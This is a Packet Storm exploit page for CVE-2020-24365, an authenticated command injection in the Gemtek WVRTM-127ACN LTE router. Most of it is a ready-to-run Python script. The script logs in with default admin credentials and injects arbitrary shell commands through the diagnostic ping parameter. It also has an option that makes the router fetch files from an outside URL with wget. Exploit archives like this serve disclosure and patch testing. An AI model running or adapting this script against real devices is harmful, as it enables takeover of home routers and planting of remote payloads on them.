what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Gemtek WVRTM-127ACN 01.01.02.141 Command Injection

Gemtek WVRTM-127ACN 01.01.02.141 Command Injection
Posted Nov 19, 2020
Authored by Gabriele Zuddas

Gemtek WVRTM-127ACN version 01.01.02.141 suffers from an authentication arbitrary command injection vulnerability.

tags | exploit, arbitrary
advisories | CVE-2020-24365
SHA-256 | 288c20759376d1be2b2201de3eb7d9f660659dd2077eb3c2933919f67608b027

Gemtek WVRTM-127ACN 01.01.02.141 Command Injection

Change Mirror Download
# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection 
# Date: 13/09/2020
# Exploit Author: Gabriele Zuddas
# Version: 01.01.02.127, 01.01.02.141
# CVE : CVE-2020-24365


Service Provider : Linkem
Product Name : LTE CPE
Model ID : WVRTM-127ACN
Serial ID : GMK170418011089
IMEI : XXXXXXXXXXXXX
ICCID : XXXXXXXXXXXXXXXXXX
Firmware Version : 01.01.02.141
Firmware Creation Date : May 15 13:04:30 CST 2019
Bootrom Version : U-Boot 1.1.3
Bootrom Creation Date : Oct 23 2015 - 16:03:05
LTE Support Band : 42,43


Injecting happens here:

sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&


Exploit has been tested on older verions too:
Firmware Version: 01.01.02.127
Firmware Creation Date : May 23 15:34:10 CST 2018

"""

import requests, time, argparse, re, sys

class Exploit():

CVE = "CVE-2020-24365"

def __init__(self, args):
self.args = args
self.session = requests.Session()

def login(self):
s = self.session
r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
if "sid" not in s.cookies:
print("[!] Login failed.")
exit(1)
sid = s.cookies["sid"]
s.headers = {"sid": sid}
print(f"[*] Login successful! (sid={sid})")

def now(self):
return int(time.time() * 1000)

def exploit(self, command):
self.login()

with self.session as s:
payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"

r = s.get(payload)
r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
content = str(r.content, "utf8")

#Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
r = s.get(payload)
r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
content = str(r.content, "utf8")

#TODO: eventually parse content with regex to clean out the output
c = re.findall(r"(?<=ping: bad address \')(.*)(?=\')", content)
print(content)
print(c[0])

if len(c) > 0:
return c[0]
else:
return False

def download_file(self, url):
filename = url.rsplit('/', 1)[-1]

if self.args.file is not None:
print(f"[*] Attempting download of file '{filename}' from {url} ...")

if self.exploit(f"wget {url} -O /tmp/{filename}"):
print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
print(self.exploit(f"du -h /tmp/{filename}"))
return True
else:
print(f"[!] Failed to download {filename} from {url}")
return False

def run(self):
if self.args.command is not None:
print(self.exploit(self.args.command))
exit()
if self.args.file is not None:
self.download_file(self.args.file)
exit()

if __name__ == "__main__":
# Create the parser and add arguments
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")
parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")

parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")

args = parser.parse_args()

# Run exploit
X = Exploit(args)
if len(sys.argv) > 1:
print(f"[*] Exploiting {X.CVE} ...")
X.run()
else:
parser.print_help(sys.stderr)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close